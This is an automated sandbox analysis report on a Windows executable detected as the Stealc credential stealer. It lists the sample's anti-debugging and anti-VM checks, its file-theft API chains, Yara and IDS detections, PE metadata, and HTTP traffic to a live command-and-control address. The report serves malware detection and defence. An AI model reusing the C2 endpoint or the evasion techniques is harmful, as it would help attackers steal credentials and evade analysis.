Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF02FD second address: 4CF0301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0301 second address: 4CF0307 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 421BD9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 421C8E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5CC0E8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DFF49 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 64F954 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001D38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001D4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_001CDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_001CE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_001CED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_001D4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001CDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_001CBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001CF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001CF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001D3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_001D3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001C16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001C16D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C1160 GetSystemInfo,ExitProcess,

0_2_001C1160

Source: file.exe, file.exe, 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1747423410.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarejBH
Source: file.exe, 00000000.00000002.1747423410.0000000000E63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1747423410.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1747423410.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1747423410.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13598
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13595
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13649
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13615
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13610

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001C45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_001C45C0

Source: C:\Users\user\Desktop\file.exe

0_2_001D9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001D9750 mov eax, dword ptr fs:[00000030h]

0_2_001D9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001D7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_001D7850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6792, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001D9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_001D9600

Source: file.exe, file.exe, 00000000.00000002.1746921253.00000000005B0000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: BZProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_001D7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001D6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_001D6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001D7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_001D7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001D7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_001D7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1747423410.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1705421415.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6792, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1746780935.00000000001C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1747423410.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1705421415.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6792, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.phpk	17%	Virustotal		Browse
http://185.215.113.37/i	17%	Virustotal		Browse
http://185.215.113.37/(	17%	Virustotal		Browse
http://185.215.113.37/ws	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php=	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.php=	file.exe, 00000000.00000002.1747423410.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpk	file.exe, 00000000.00000002.1747423410.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1747423410.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php?	file.exe, 00000000.00000002.1747423410.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/(	file.exe, 00000000.00000002.1747423410.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/i	file.exe, 00000000.00000002.1747423410.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1747423410.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpa-7368302a1ad4	file.exe, 00000000.00000002.1747423410.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523774
Start date and time:	2024-10-02 02:00:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 92
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947078056996542
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'829'888 bytes
MD5:	5cace3141ff06d98c584bfb6681a8ae3
SHA1:	0993adfa0a320e79a33495bd92c2f457714cca95
SHA256:	34e912b828576002110972ce8292a94d4ecebb1582816dcb1414ea2f334827aa
SHA512:	199c0cfe737419829ba7ecc2ee68ca83fe1b042cb20d4f134be45d733a97483111d48f6845b18bb15963097503ef2524e9d1e0fa66e580ac8e7df1fb15b11394
SSDEEP:	49152:UvjRiEOQx6/EYnSZMyIXDsP7n/SyzEGyOK4HKt:yRibQU/Pn4MyIzsPTlzEGjK4
TLSH:	E38533FEE714216CD5EE4178CE7B47336BACE6058BD52D1317982EFC81A4A18B87B112
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa97000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F789D28CAFAh
bswap edx
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F789D28EAF5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00000080h], dh
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	ce1ed224783d28a14ee001051e9a5272	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29f000	0x200	91ceca0d1aa7ade50fae50d539092075	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
epsygglv	0x4fd000	0x199000	0x198800	5094dc35b606e1c3d96babc0becc2292	False	0.9947550107099143	data	7.95332225365963	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ncsgechg	0x696000	0x1000	0x600	12bc8e1d20c3a60015382fe6072f55ab	False	0.5670572916666666	data	4.937401699613444	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x697000	0x3000	0x2200	4711238df17f1f1524eb484e6e4dc7ae	False	0.08938419117647059	DOS executable (COM)	0.9675635496509017	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T02:01:04.104690+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 02:01:03.180196047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 2, 2024 02:01:03.185216904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 2, 2024 02:01:03.185298920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 2, 2024 02:01:03.185663939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 2, 2024 02:01:03.190577030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 2, 2024 02:01:03.879561901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 2, 2024 02:01:03.879806042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 2, 2024 02:01:03.882147074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 2, 2024 02:01:03.886959076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 2, 2024 02:01:04.104403973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 2, 2024 02:01:04.104690075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 2, 2024 02:01:07.446368933 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	6792	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 02:01:03.185663939 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 2, 2024 02:01:03.879561901 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 00:01:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
